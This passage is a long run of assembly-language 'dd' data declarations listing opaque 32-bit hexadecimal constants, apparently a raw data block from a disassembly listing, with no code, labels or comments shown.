		dd 980F1C01h, 4E496Ah, 0C076F28h, 41AF007Fh, 5D546997h
		dd 1E001288h, 0C4374E11h, 0E2A13EF1h, 0CF7F3871h, 566D1F09h
		dd 0CB65D021h, 37A84333h, 96C490FCh, 0EB54084Dh, 0CA1CC3E8h
		dd 0F9804C04h, 7E6DA69Bh, 0AA2A3D9Ch, 0A558BD83h, 0B4800D68h
		dd 562653ADh, 940050F7h, 0AFB53C46h, 0C74D184Fh, 1C44E806h
		dd 7B0AE203h, 0E81F02F2h, 9E1637h, 71361788h, 51E1CF60h
		dd 69864003h, 0F564E979h, 8C310480h, 6F051D5Ch,	0DA478081h
		dd 0EBA7FC03h, 5E7A6900h, 33B09B10h, 2F78387Eh,	3F499304h
		dd 0FD6490F0h, 64B07968h, 0CB483Eh, 0BA9AF310h,	26A03A4Fh
		dd 162874C6h, 0CF1000ADh, 0B588F721h, 0AF29320Eh, 355BE00Eh
		dd 0F072C97Bh, 3777004Ah, 0BDF361C8h, 1D4C42C3h, 184F307Ah
		dd 122D5848h, 40B38240h, 0A6D0B4ECh, 19012B80h,	1BEF7184h
		dd 29E0F0BBh, 2CAA00B5h, 5B4BC2DFh, 7F003064h, 0C9370171h
		dd 0EE8FDF4h, 0B3E6FAF2h, 0D8E319A0h, 0BB0084A1h, 0FCE95E4Ah
		dd 247BCE1Eh, 831C0644h, 8F05D970h, 8BF1828Bh, 0B1633011h
		dd 65467700h, 5D6C9168h, 61FD1E66h, 8021DEA4h, 78DB9E26h
		dd 7D7E80E5h, 974C4701h, 0B809E973h, 21FEFCh, 30FC4340h
		dd 0BD70C2AEh, 30E49048h, 804D11C0h, 6B8E2E1Ah,	9F1249h
		dd 60CCDD27h, 92013B98h, 745CD0B7h, 0D706CA4h, 0F9CB0085h
		dd 0C6C9CF4Ch, 3B02A532h, 75CEF55Ah, 3848487Fh,	4092BBh
		dd 0EFFC013Ch, 9B28A1C6h, 0E9537F07h, 92F073C1h, 261BF2ACh
		dd 5F83516h, 8076F634h,	29544C3Eh, 62BAEB00h, 53E1D1C6h
		dd 0CE3400E4h, 243E2EF5h, 7BFE8C07h, 6CA270E7h,	31676F00h
		dd 0A61C418h, 3407175h,	0C56DBB41h, 72F8D8C8h, 4B004F9Ch
		dd 5DFEE492h, 0FAC2A0Ch, 0ADD204B0h, 0C31DF3C0h, 5400FAEAh
		dd 7193122Bh, 473A13h, 674B14E8h, 87B52B1h, 0C2455300h
		dd 0A5BEE432h, 94EE02FEh, 97D93CB7h, 0BFC3FCE8h, 5AC77107h
		dd 74429A83h, 6028E0A8h, 0ED222882h, 479E0F6Ch,	0F020B6DBh
		dd 0D9CA5DF2h, 23445500h, 72869C1h, 0FE09Eh, 0E8298954h
		dd 27DB7BBCh, 50479A24h, 0BB8CC83h, 0D37CC014h,	0F6377416h
		dd 33949C82h, 2DE3D511h, 809B45F9h, 5C2518A1h, 1D678B88h
		dd 837E34h, 8E946F20h, 0E403B181h, 982793F3h, 2CAA056h
		dd 7E23003Fh, 0CE9AC2DEh, 0E5037747h, 9CCCBB13h, 7DD0B90Bh
		dd 6CC29080h, 588C0CEBh, 22587C60h, 24CAF97Eh, 87E80B92h
		dd 2947D984h, 0E56FA503h, 0DB790802h, 58091E29h, 0DD4B0008h
		dd 0CC89B49h, 220043EBh, 10E0DE0Fh, 75650Ah, 0A497546Eh
		dd 0B16F2CB0h, 96B7800h, 27510698h, 0BBBD00B7h,	0A5264B9Dh
		dd 83FAD9FAh, 0AF38E709h, 3D0A857Ah, 6371A040h,	7E919A9h
		dd 1FC3C2DCh, 16B4C0A5h, 0F100BAD7h, 0F8867F14h, 92DA11h
		dd 58D07044h, 0D999CAF0h, 0F4D06E61h, 5AF240DFh, 0D17C03A8h
		dd 75086CC4h, 0D986B1A0h, 1C6B8500h, 8F96A9BFh,	0BACA00DCh
		dd 0FF418DBh, 1D4C1E2Eh, 2FFC0EDDh, 0F0140A30h,	0DB8AA940h
		dd 64232A43h, 0E924008Ch, 31A2A8D7h, 99FEAA61h,	0A8099C3Bh
		dd 5970F8A6h, 9440104Bh, 0F6398940h, 0CE11C03Ah, 276C2A31h
		dd 0D3D73D00h, 772DBE64h, 3D3FE067h, 1F00F45Eh,	1B747C84h
		dd 0AE1DCA75h, 9000C939h, 6C2F4814h, 93E70086h,	409C30E1h
		dd 0F9C416DFh, 3094B41Eh, 4E7CCC80h, 13C177A9h,	3ED8446h
		dd 5ECD8CB8h, 59D3C900h, 0BE3525B8h, 0CF1BB8F6h, 73A08550h
		dd 7A2C21Ah, 8083BB3Ah,	2AAD1574h, 0EE99EC8h, 0FFF8AC03h
		dd 20E0E180h, 0A501362Eh, 9CFDDF88h, 899C781h, 0FFC521DCh
		dd 951CA488h, 6469E800h, 8E8BE366h, 0E0F1385Bh,	0C3EC0300h
		dd 9D051401h, 7F4676C0h, 0A0AD32h, 8A2A5E75h, 0D8FE88A8h
		dd 1CFBB1Ch, 5B90E083h,	4179F6h, 782B3EA8h, 60071F5Ch
		dd 21ED09CCh, 3EB002A1h, 951D22FBh, 0EC140FF5h,	29E6A0E7h
		dd 168B203h, 88A73628h,	88D818CFh, 360030C3h, 5BB12ADEh
		dd 0C44D8674h, 0D02FD58h, 0FBC729FBh, 0F817EEEh, 725A2DFEh
		dd 0AC87740h, 8A00D99Ch, 3F3D3432h, 7D1B89h, 2ECBEF6h
		dd 90D2AE2h, 0E5507E60h, 0F34382h, 296C4869h, 7AE37707h
		dd 5932FB1Dh, 80E16070h, 884C0098h, 0DD27CC19h,	8CCC461h
		dd 0A121E5h, 0FDFC4C90h, 57F697Dh, 0BC23AD00h, 0C3E39329h
		dd 0D25E0661h, 0C18C9725h, 8A02E2E0h, 0CD5B807Eh, 2A94803Dh
		dd 0C01AB16Dh, 4E438698h, 230028CCh, 166ACB50h,	0A79D2Ah
		dd 0B9154178h, 6B323C87h, 0BE2CC507h, 0AD40D266h, 6A73Eh
		dd 5D04393Ah, 0EA0C441h, 0DBE68000h, 0D7C7E891h, 18B1000Fh
		dd 0AF3E4E7Fh, 6A0052F6h, 2039B29Dh, 1DCE3FFh, 0F8059FABh
		dd 0F4853882h, 0A804407Ch, 4EEDE837h, 4FDF76C0h, 9ECC503Ch
		dd 45C4001Eh, 67F8E09Ah, 803F785h, 195E66A9h, 2A81A5B9h
		dd 46D1FF5Ah, 73C160h, 5391BB34h, 0F0121A6Ch, 832D5F1Ch
		dd 0C6DB18F0h, 5D301F5Eh, 0DFC80F6Dh, 524E9D03h, 1FF58BC0h
		dd 66283F60h, 0C5518544h, 80E30261h, 0B6C4E5Bh,	3D8C3Eh
		dd 96BB0159h, 6F5B574h,	0DE06974Fh, 0B902309Dh,	3D8D46F8h
		dd 0BE148056h, 188B885h, 75490682h, 818BC516h, 65F91378h
		dd 0D1A161C7h, 1AD38C1Ch, 4960C819h, 4C0F36C0h,	98F8646Dh
		dd 0D5E204Bh, 0C08161AFh, 0A10C87E1h, 80515C21h, 0ACC89310h
		dd 419D4900h, 73EB04F6h, 0CEF95C1Bh, 3B662060h,	0B50F39C7h
		dd 0E03A0F7Bh, 0B1B35F74h, 359324B2h, 0B1721845h, 0D800C71Bh
		dd 0B6DE887Ch, 744258C8h, 474A0C96h, 0D2514929h, 57310B65h
		dd 5EF04A80h, 0EC6500B8h, 7475B354h, 1E03BCC3h,	5941C743h
		dd 247822BBh, 0FEBAD91Eh, 51428A41h, 0A04362F6h, 288FFF5h
		dd 141BBEDBh, 0AAE09881h, 9F80FCB1h, 0BA253Bh, 786CB7B6h
		dd 6ACE1C0h, 0C6653E04h, 8D0A795Ah, 2458B12Dh, 7300FA11h
		dd 5D2E1C8h, 0D3301E04h, 793EC110h, 28670F8Eh, 92E1BB52h
		dd 477D0F2Dh, 9341C3C8h, 8796CBD1h, 48FA8910h, 0BC009575h
		dd 4EB8C2EEh, 0B1281863h, 0E14D5037h, 74782C02h, 0A057DE18h
		dd 210610D0h, 73CC09B3h, 4680BC9Dh, 0C425C794h,	0ED0D1A17h
		dd 46997707h, 0E72F44B0h, 18560C5Ch, 5780E1B4h,	0ACF07341h
		dd 0DD73DA0h, 78F8981h,	0F05C8B37h, 9E0010A4h, 0C99B6488h
		dd 220F23DFh, 0AEF06C02h
		dd 5C8A4524h, 76E08900h, 0CA4FC97h, 8CD90EB7h, 7A44F819h
		dd 0F473547Fh, 164FCB3h, 31126105h, 0F2B2F0E8h,	4469B885h
		dd 9084B1A0h, 0B02C17B8h, 0F8B7600Fh, 887800E0h, 60E175E7h
		dd 0C677894Bh, 0B3F894ECh, 1D0341E2h, 0DB7E1B0Bh, 6C8D80EAh
		dd 0B8FF28D2h, 114000E4h, 0C1D44ACBh, 0E49845F3h, 12CDF200h
		dd 255D5A2h, 8A2B00DFh,	45D94A5Fh, 0E018B764h, 5B28A59Eh
		dd 0E9C80021h, 1ABC4BD1h, 0EA00A404h, 0FECAA650h, 39B3C19Ch
		dd 0B6B028F6h, 0E764FB30h, 55C5740Ch, 2668F3h, 1590F688h
		dd 321EBBF8h, 38A2D230h, 1B7E9978h, 108076CAh, 80D6CBB9h
		dd 0A87D3B79h, 0BEE4F4h, 8E58E737h, 9FB0E8EAh, 0D42A4D00h
		dd 73682E3Dh, 5F813ECAh, 0AC6E07F7h, 0BF41A1CEh, 916B5180h
		dd 5618D8A6h, 0AB198994h, 0D10D045Dh, 0C0DC958Ah, 0F42B52BBh
		dd 2E023Eh, 2692586Bh, 330DBFEh, 3224EE65h, 0A004A1C2h
		dd 0A6447305h, 0FA54CD01h, 0B018D396h, 9EB9DACBh, 0FBA60105h
		dd 0E05E403Dh, 0C01980AEh, 0BDFF91D5h, 0C479012Ch, 0CAC3D2A7h
		dd 0F12180D7h, 0BA8CE544h, 0B09A0090h, 0C58AE832h, 0B10FB20Fh
		dd 604F8FAEh, 0AFB36572h, 0B447F5Dh, 2162F278h,	9DCC5300h
		dd 8200A089h, 0CED7BDD4h, 321F49h, 3ADF8F39h, 0DE22A886h
		dd 9E046C0Eh, 0C94F03D5h, 8C809FA9h, 0A19505h, 30BA996Ah
		dd 0BCB837Eh, 8DF71D00h, 0B67B60B9h, 4A48C35Ch,	69A09B0Eh
		dd 5300DE8Fh, 561D3602h, 6077C3h, 0A2074505h, 913BCBB9h
		dd 62402A67h, 789949F0h, 7EBC7BBAh, 0A5DF805Bh,	0DCFD1300h
		dd 0E2D902D0h, 0B1686056h, 6658CDE8h, 60900800h, 75C4FA1Ah
		dd 651300F8h, 76D4CBAEh, 0C7008215h, 72F45597h,	95D10Eh
		dd 5DE411C9h, 2EE06317h, 0EC0C9306h, 0CF184AC5h, 0C06087B9h
		dd 81BB1D07h, 0BF9D8B0Ch, 0CB9D0F6h, 0BCFC1B2h,	0E44061C0h
		dd 803500D2h, 39525159h, 5076A2E2h, 55DBDE1Ch, 989B037Eh
		dd 0E0A54526h, 0DE524999h, 57D60320h, 31009CBEh, 71F8435Ch
		dd 534B2Ah, 158B5A47h, 0D8DA280Dh, 37F79400h, 0C484BFABh
		dd 0B79200EDh, 5B8702A1h, 0DCE46208h, 0CD0E85E0h, 9FEDF3BEh
		dd 22616A01h, 144B9EC2h, 37018400h, 18A8944Bh, 80282953h
		dd 2B01B613h, 53F7002Ch, 7842501Bh, 3F001939h, 0D9F1E11Dh
		dd 0E26014B6h, 29C32967h, 0CDC5E014h, 0AC38A895h, 74522998h
		dd 29C45060h, 1DF42C63h, 874D0004h, 0A8E4AEF8h,	2C762B01h
		dd 0D96BA2FEh, 8D00344Eh, 76EDB5F2h, 70D1CC49h,	5D1A8020h
		dd 53BBA1EAh, 0A89F44F4h, 9EA415D4h, 4C04E0CFh,	1A79B234h
		dd 5E041510h, 40B27E18h, 9AFD10h, 9F9BAD46h, 5089E9E7h
		dd 0BFEA3E00h, 987E57AEh, 282563B7h, 8D45DF8h, 0C14A42BBh
		dd 23BC8C22h, 512173E0h, 0FB6B084Fh, 3E14A094h,	84E34458h
		dd 0A9D95B10h, 0EF0C7421h, 88F779AAh, 8D002094h, 743F46B0h
		dd 973C12h, 0CF1963C4h,	0AC60C17Eh, 88863960h, 1EC812D1h
		dd 80A39992h, 85C06544h, 4F01E87Eh, 900515DDh, 0F120279Eh
		dd 2B5300B8h, 8720EE63h, 5DE6077Ch, 2996900h, 0CB58E09Ch
		dd 49F5008Fh, 0B9133CA9h, 0C400186Dh, 7DD9EFE6h, 0EB0F20D3h
		dd 0E060570h, 751BD1B5h, 6BE710C0h, 0BE00FEF4h,	0D3136817h
		dd 9FDD02h, 0F541C8ACh,	0A227B5F1h, 3FA3FC1Eh, 14583540h
		dd 0EC13AEh, 48769192h,	0BCBF8A03h, 3AF8E4ABh, 31B89818h
		dd 0F1DC9F01h, 71FF3D6Dh, 1923CCh, 0A4B0365Eh, 0F8D44B84h
		dd 0B4E89FB8h, 867351FAh, 0C7C9D309h, 0E5080246h, 0A6C8C06Bh
		dd 39F03Eh, 0BEEE244Dh,	88F485ADh, 7E7BE8FBh, 342D0200h
		dd 0F63A3CCDh, 0D6F71DFCh, 50994F42h, 0CBD09040h, 0E700540Ah
		dd 9F446E5Eh, 28B1FDh, 15E9C7DCh, 2D7D3749h, 0BC701800h
		dd 0C4A49984h, 84D45096h, 0C7F50144h, 70236CFAh, 4717F41Dh
		dd 4B011E00h, 2DC0E7FFh, 1427003Eh, 0FD424FD8h,	30C0CD66h
		dd 46AE5590h, 0EED60089h, 0F84C736Dh, 29001C86h, 44F5FD4Dh
		dd 464F1Bh, 0C7FBC293h,	0CC8B5292h, 0D401F200h,	98D2DFD5h
		dd 8D7A49h, 2B246397h, 0D7C444Fh, 26DC4E00h, 0AA35E8D5h
		dd 80570AEFh, 0C4B98Bh,	65A39DC8h, 0D3004001h, 46D28527h
		dd 0AE6BF0h, 2C0FE88Eh,	539F0B11h, 8224071Eh, 5C1D9900h
		dd 0E9C528h, 2772FEE0h,	0E20CB78Fh, 0B17DE300h,	0EC490EA6h
		dd 0B06A0095h, 58614B2h, 0C51F2334h, 56006CFDh,	0F808A3EBh
		dd 0A8F50048h, 100F2CEEh, 2490D5D3h, 0A7D74903h, 0E3D82EA5h
		dd 79D006AEh, 10D508B6h, 7365FA00h, 229FB8Ah, 0FD77C3h
		dd 88DE182h, 0DE852049h, 7D3EA00h, 216D7EB3h, 524B39ACh
		dd 14C48A4h, 0C4C66F70h, 1528348Dh, 8953C000h, 3ED69957h
		dd 34EE0337h, 0D3C1793Fh, 5BC5D0D7h, 0B3A8BB1h,	38BF1C5Dh
		dd 0D5692870h, 2FE30073h, 0F228EF36h, 0A60145BAh, 3004FEC8h
		dd 31CCC535h, 0C66D03F4h, 0A01B62CDh, 0D55ACBD8h, 4FDB0600h
		dd 7B3FC17Fh, 0B8FC00FAh, 38ED9E8Ah, 0CD00D5E0h, 377349D4h
		dd 3B910B78h, 0E880B05Eh, 99E50AB6h, 0A4099879h, 133F3A22h
		dd 0DDB0B870h, 0B8C600F9h, 87C3BB28h, 45481377h, 2538BCh
		dd 9B7F2696h, 3BA64B9Ah, 0E782D8C3h, 0B0B7F74Fh, 0F4AEAFC1h
		dd 4A0C47BEh, 0D8F5D00Ah, 0F216EA9Ch, 514400E4h, 507A21FBh
		dd 0F000B75Bh, 0CBDBE7C6h, 6DBB86h, 265F1CF2h, 3408ED37h
		dd 741A3A00h, 6C1FF763h, 44982Fh, 0AA70F490h, 0AD2C9C7Fh
		dd 53788100h, 864123DAh, 0E3C00051h, 0BAEECD8Bh, 0C401631Fh
		dd 96C7ED66h, 35ECD5A1h, 0D34F0BE1h, 6A8022EFh,	0D9CC9F8Eh
		dd 0AE0AF500h, 0D837706Fh, 3CA44C1Bh, 7A5C8B11h, 5DAFEE14h
		dd 0C80200FCh, 0A9308947h, 52CA0E75h, 1204F196h, 9248C0C4h
		dd 6900B43Fh, 0A6F5BD25h, 0F8DA130h, 0ECBFDDF6h, 0F22C2480h
		dd 297E7079h, 66E6C300h, 0F3A8AC9Ch, 26F00016h,	0B4C4203h
		dd 0AD004185h, 9380AB96h, 0EA6BE007h, 0D18D0FC5h, 1181639Bh
		dd 0DB22A94Ah, 0BAFFFCD0h, 0CB7564F2h, 0D8391600h, 0CC921342h
		dd 0CF6F7DE4h, 0E3277238h, 0AAB7D027h, 0E01E3EECh, 8C401228h
		dd 0FA031A6Bh, 0D3DC0252h, 0B8C4B743h, 0D0344AE0h, 6E5900B5h
		dd 1FF43086h, 80E6164Ah, 0E99746A1h, 110B1785h,	1BCE60h
		dd 2823B3B4h, 1F6238BEh, 0E06F5E80h, 3FDA60B8h,	0AB923900h
		dd 681E70F7h, 0A0797253h, 0BE9781h, 8B90606Eh, 0A1724186h
		dd 88280700h, 97104991h, 4479F7h, 2A8B0DB1h, 0F0D3C767h
		dd 0CF11B000h, 25D946E8h, 0D2750088h, 279A219Bh, 163A697Eh
		dd 10CB8002h, 2EF798CFh, 0FC174E0Ch, 0B78400D5h, 7B0FBF2Dh
		dd 738ACFA7h, 1EC0CAEFh, 8F4BDCF5h, 89C48500h, 0F09A2609h
		dd 0B4EA20h, 0BD219C04h, 37AF5152h, 0DACD5800h,	0ABA9C3D6h
		dd 73EF4F1h, 19BDF2B3h,	38D8002Ah, 5024B46Bh, 7807F9BCh
		dd 8389DDFEh, 0EF1B53EFh, 8559274Fh, 0CF32000Fh, 39C6F533h
		dd 0F600D87Eh, 6944DE6Eh, 0B139E214h, 0D32200C7h, 1694BA88h
		dd 90560070h, 0AD8966D7h, 0B2026E80h, 9B5593B9h, 0F780E053h
		dd 1F3B1E74h, 0FB328117h, 0DCD28DBDh, 8B4C99D5h, 0BC51002Ah
		dd 0F47EAD2Dh, 443E0ABBh, 0A6F816A3h, 0CFD300FFh, 93173966h
		dd 901FE3FCh, 3D22E8h, 0B91842C1h, 0DAA978h, 0C07B837Eh
		dd 0BE337A9Ch, 0C503A090h, 0A410F665h, 46ABD8FBh, 0DFAE0023h
		dd 16D7AF0Ch, 74009751h, 0E71E300Eh, 5716BEBh, 0B64FDE8Fh
		dd 4418070h, 0E001F21Ah
		dd 3BB1DA46h, 2031F756h, 18A56BD4h, 0E6EE53BBh,	1D00DB52h
		dd 9BFC55FAh, 52F5CCBh,	5EE10C83h, 2933806Bh, 0E7007A50h
		dd 9567886Fh, 0F82778h,	0E6AEE86Ch, 7460015Ch, 0DFB3Fh
		dd 4B4C6DF0h, 8DB7EDh, 6617A1CEh, 9C49C49Bh, 5FAD7C00h
		dd 9F4FD1A4h, 693203CAh, 0DEAAEC8Bh, 3420D6F8h,	0A2DB3B00h
		dd 494D88B3h, 0AD8A009Ah, 6BC221E7h, 0D10036D2h, 313F0F06h
		dd 0A42B2979h, 73E500B4h, 1D0AE939h, 3158A099h,	5DD50AD1h
		dd 0FF00E81Eh, 24A703D7h, 0C37A3D9Dh, 7F1A6800h, 0DA0C61FDh
		dd 0C4D90E00h, 3391BA92h, 67B10EC6h, 0CE003F3Bh, 0FB41DD88h
		dd 50AE7000h, 0C030DBDEh, 0F5EE8908h, 903D03DAh, 0B0C74FADh
		dd 14275C0h, 64D03520h,	7055B2B1h, 7C674397h, 20BB1378h
		dd 707430D4h, 19CC03CDh, 0C67E40EDh, 0DC6E1806h, 8041E10Dh
		dd 75A54BC4h, 3D10C0AEh, 0CEE224Dh, 0EBCCF105h,	0AA001E8Dh
		dd 5C4A368Bh, 0CE2E00AFh, 40719113h, 5800F718h,	0B8D644B7h
		dd 3BD839Ch, 0A38E778h,	8FD06D29h, 0F869268Bh, 0A62000A8h
		dd 1EA9478Dh, 4B5F4F15h, 0B581D135h, 20C1340Eh,	0E707A2E8h
		dd 9553BFF9h, 0DF2576E0h, 297A2897h, 4A572AB8h,	12AB00B0h
		dd 33407820h, 2300B4FAh, 47CBB26Bh, 0D0AE3h, 64DA94A9h
		dd 0A2B7F55Ah, 15501B00h, 6EFB36Fh, 0ECE10263h,	0EA460325h
		dd 0E286B883h, 78B6008Dh, 0FB6AA41Fh, 0BA0A5800h, 59830721h
		dd 87F200AEh, 247E6B53h, 0F5E408EBh, 0A9013Dh, 6ADBB248h
		dd 17D0712Fh, 1CA02329h, 79E8C184h, 0CC85EF97h,	110073C4h
		dd 0BB2733BFh, 767D726h, 0C859B313h, 1746E0C2h,	4924F3BCh
		dd 9000D853h, 27EE1839h, 48E300B1h, 251F5C1Ah, 82020F38h
		dd 64614B3Ch, 497040EFh, 6D28002Dh, 0E60B804Ah,	0E700C53Fh
		dd 0F59B3C8Bh, 2D05C1h,	0AA270D71h, 494784F7h, 2507330Eh
		dd 0A9C1C029h, 0E6A6370h, 0C465D597h, 16CFDC60h, 0E5E8F9F4h
		dd 50276E03h, 0BF85A6B3h, 6F3E5EC0h, 4D010073h,	1C865206h
		dd 6A14C653h, 8858E8h, 0B31F2EEAh, 99D27Ah, 35BEA247h
		dd 7B284A8Ch, 6AA5E0C0h, 29F3D3h, 0CF877A14h, 8315FB67h
		dd 0AD795802h, 40DB5C7Dh, 0FE2B354Ch, 0F075009Fh, 321F5046h
		dd 721CFCD5h, 330D24D6h, 0C3F450ADh, 1C2D3B2Eh,	890084C9h
		dd 0D6876A7Fh, 0DA0BCE0Bh, 809F234Bh, 0B0378628h, 3DB98C5h
		dd 0F7A1EF7Ah, 4DD01AF0h, 8172A5CCh, 59B35330h,	48D909h
		dd 674070EFh, 421F559Ah, 96C35A02h, 0C06B34E9h,	0C027C60Ch
		dd 0EB854B30h, 0ED12B2A2h, 3062582h, 7011F71Ch,	0C4687FE6h
		dd 0C4C3F881h, 0BE7C8354h, 0D5D490CCh, 0F7028093h, 3479668Ch
		dd 77CFC030h, 0FE600032h, 39DF9D22h, 6B018A27h,	0F8C26CFAh
		dd 9C0BB85h, 0DB3001Ch,	2A5A71D5h, 2B1E14B4h, 0E6405C16h
		dd 0FAF0E0Bh, 0DD040C94h, 36E1AE4Ah, 78DE40h, 3ED7A609h
		dd 8BE21137h, 68222B24h, 0B85D4F00h, 4E640Bh, 0DD95FE9Bh
		dd 8C6FEB5Fh, 0B90FF679h, 2042F902h, 0F8A15551h, 0BC7B04B8h
		dd 1505D12h, 4496EF35h,	30EEE074h, 26185608h, 3824CDE3h
		dd 82844C5h, 7F53C00h, 0C8774861h, 39DEA5Dh, 0FBC6EFC4h
		dd 5100A937h, 149E2901h, 7B1B0F4Ah, 55660C5Bh, 0CFB01EABh
		dd 84CDDA00h, 40791618h, 0E9F21CA6h, 1BE5C1C0h,	3CAF731Ch
		dd 3A0F00DCh, 120CF1C5h, 0FA1C923Fh, 3EEB5h, 759C81C0h
		dd 0B99DB8D8h, 86B4423Bh, 0F9C7C479h, 1DA703FEh, 7424780Eh
		dd 0A6184188h, 0F34D3014h, 21953B7Ch, 0EA640082h, 98A1D094h
		dd 6D005896h, 18A15BCh,	812F60F0h, 0CFA1B069h, 0E2A9DD0Ch
		dd 0F49870BEh, 0C80F015Ch, 3BB2C0FBh, 3FA0246Dh, 38510100h
		dd 84465463h, 0E75D04CFh, 428A4C44h, 82C63779h,	20FCE9C8h
		dd 0C4C30F3Ah, 5C08087Bh, 0FD14AE8h, 0D0483A5h,	19D0C389h
		dd 73A318C8h, 1E7FBD00h, 21EE94CBh, 0B4230082h,	8198C6A6h
		dd 400263Bh, 0F1D7A92Fh, 19686Dh, 0DF38DBA5h, 5FB735D5h
		dd 8AC7812Ch, 17DC0600h, 76BD942h, 0FCF160Ch, 7F3940AEh
		dd 4305B8EDh, 9D593D8h,	0B54BC480h, 8D9B18A5h, 4A354110h
		dd 0EDFE3402h, 403A0B05h, 1219E570h, 411A5BD3h,	47DF8B68h
		dd 2810D8F5h, 3A622B00h, 0D1E01E9Eh, 4880F107h,	6A67083Dh
		dd 0F864B640h, 56C0D771h, 1BA9B8B1h, 5887CC44h,	1CBC81ABh
		dd 46BB240h, 982A2857h,	214630A6h, 2210C5C0h, 1F0DC52h
		dd 556BBA5Ah, 2E20079Ch, 0D7110062h, 6DC519EBh,	92005E24h
		dd 9E17B34Ch, 22A8DE1h,	2FD54F2Dh, 0C40C60Ch, 820385B9h
		dd 0F9BC813h, 11A6986Dh, 0E5410ECEh, 7F805B61h,	196BE2E9h
		dd 0EBF52D02h, 0C05AEA23h, 1C0E9FA4h, 4CD3D1F1h, 7A107F0Ah
		dd 54BD000h, 6B11545h, 0E08103E9h, 588EA524h, 87F74CD8h
		dd 0AF647500h, 760CB455h, 0CDDD121Fh, 1760803Ah, 0C200DA0Ah
		dd 60D16ABCh, 12F28239h, 0C0E36F37h, 4DA206B4h,	54DFC20Ch
		dd 3EBC021Ah, 10836DF6h, 0AE492F52h, 0B3A11890h, 86B8E407h
		dd 0A3BA257Fh, 0E732A200h, 9698EAh, 903C4E71h, 1135A9A6h
		dd 0E85338h, 61575522h,	0E033561Ch, 3DBD2CF9h, 0BF9202C6h
		dd 5C40FB09h, 0B513D64Dh, 0D8002B34h, 2768795Eh, 842E2C9Fh
		dd 0B7E88028h, 1054EE24h, 0FA9E4601h, 6C67A51Bh, 7F8474h
		dd 9F21BB8Bh, 0E7CBC3BEh, 0EBF60600h, 3F0C3AD2h, 895000Ah
		dd 9EE67010h, 2890DB7Ah, 0D9601E00h, 48F98B5Bh,	0F7290042h
		dd 8AE62807h, 0C900CB5Fh, 0B1C2300Ah, 30F7F79h,	8E4C7442h
		dd 6DD82BD4h, 0E1007CCFh, 55114F04h, 3BB7535Ch,	27DC8E66h
		dd 62163700h, 0DB60247h, 0E63AA401h, 0CD925DBCh, 5C2534C8h
		dd 3100E428h, 0C4453359h, 0B801D738h, 866E1C5Dh, 783491B2h
		dd 5D613D5h, 993414C4h,	0C076901Eh, 884C3884h, 410287CEh
		dd 0F781B93h, 0F848CB8Bh, 0AEA553h, 73D9C37h, 0E1DB3E7Eh
		dd 4212D700h, 13D069E7h, 0C7EF0092h, 630D79EAh,	0A0001889h
		dd 0B080217h, 90256058h, 8FEC30C0h, 1582E2D0h, 0E5000AEAh
		dd 9D4E3A28h, 0E754FCh,	0BB53B81Eh, 75C7DD62h, 5DA4DB00h
		dd 0BE0E1A9Ah, 6C6D01FCh, 9643249Dh, 1E4EC872h,	9F017E00h
		dd 0FB77E62Fh, 0A46A00C5h, 0B1FDD5ACh, 414C102Bh, 0AD47004Fh
		dd 28CC38DEh, 16207C1h,	50CFB555h, 0EB50A44Ch, 8EEA6B00h
		dd 0A3A5CB67h, 0EFE10079h, 7591C807h, 0AD00E8EEh, 0D92805BAh
		dd 0F29693Ah, 8B40DF50h, 157AAA23h, 20381FE8h, 816F300h
		dd 4B1C031h, 0A4575072h, 4F103A1Ah, 80520372h, 1122A22Ch
		dd 0A1A04DD8h, 2FAE141Ch, 7CDBB782h, 6EEAE132h,	36DFAF0h
		dd 0F00F447Eh, 5288B4DCh, 0E20EC697h, 60510CA5h, 278BD121h
		dd 4AD40FFAh, 0E1246D26h, 82E8D020h, 8E00CB43h,	12A04692h
		dd 0A7B704h, 56DBD1BDh,	0B3DA8154h, 0EF731E00h,	6BA59980h
		dd 0E2E601E0h, 60CDF82Ch, 8E0424DEh, 14E814Ch, 6F4AF238h
		dd 3EC3FAFh, 187B041h, 2B20E01Ah, 30555C05h, 2F00B8A8h
		dd 0D14115C1h, 20151E7h, 6B7D7FABh, 8CE3BBFEh, 80BAE4C0h
		dd 0F100C6F0h, 0E692AEDCh, 3EACEh, 66BD03Dh, 0EE8ADE49h
		dd 4D122407h, 0E5643A91h, 0CF0188A8h, 0D8F853C0h, 70FAC11Fh
		dd 0CC17819Dh, 0D493AF1Ch, 91C9E017h, 5B733EEFh, 802E07C8h
		dd 29800BCh, 0F7901D86h, 0A009D0EBh, 73933900h,	38C03C3Dh
		dd 0C834E5E1h, 0A6701F06h, 0C56C8017h, 0F8751B63h, 1C622A01h
		dd 0BFAFA041h, 1CF0BAE0h
		dd 0F2D46Dh, 592C4384h,	0DB004DDDh, 0A128D51Bh,	0F7EDAABh
		dd 6BF5C9CAh, 735E01C0h, 0B100A537h, 1EBD81FEh,	96F3A0h
		dd 5CC82CA1h, 71021324h, 5B56FD00h, 390AACD7h, 6771DCh
		dd 943A0506h, 0A615D445h, 1375A4F6h, 3601FC78h,	1E4B44F1h
		dd 0B480DE9Dh, 0B0BDCE19h, 5EECC808h, 1612A572h, 1400502Bh
		dd 8FCBBA27h, 0C165004Ch, 0E272EDB0h, 53007F07h, 369BC5D4h
		dd 0F31AD3h, 754A4B8Fh,	5827ECEAh, 82F9F604h, 0B8D0993Fh
		dd 1354A3B1h, 2420B89h,	5532D6F0h, 9F1A813h, 0A9392F4Eh
		dd 11832000h, 0C09A715Bh, 52B5200Eh, 0F68BE2C0h, 3AD54016h
		dd 0C6170BB0h, 0E020DDFFh, 6B6F96CBh, 78769724h, 27F07104h
		dd 0C0773205h, 48ACDD60h, 0F5071D00h, 537A1192h, 4E163ED6h
		dd 0F68CB24h, 0CF600B2Ch, 29B61E81h, 8B76353Ch,	0E9AE93Eh
		dd 0A7098068h, 0A0BE3696h, 25CBECh, 936FA9F4h, 0CF30FCDDh
		dd 0A95E700h, 47FF096h,	4FDB0008h, 3ED17570h, 2B3C94DFh
		dd 30E817C8h, 9C093A03h, 9721A865h, 0F56B008Dh,	0BA9DDF01h
		dd 0F5FC1E5h, 6C238C00h, 0E27BDA29h, 0E02101FBh, 428CA42Ch
		dd 0B4B08209h, 0E05C32E8h, 0ABE5B3h, 0EC8AFF04h, 7446E1DAh
		dd 90D99B03h, 0C9CE09B8h, 72C59A91h, 26BF0860h,	3808B0DFh
		dd 25A4E980h, 0CDA97BF5h, 75D36C09h, 0D0A82062h, 1F6EDB5Ch
		dd 5F12485h, 90A74B41h,	0D87DCBA0h, 6AC13A12h, 0F84C5883h
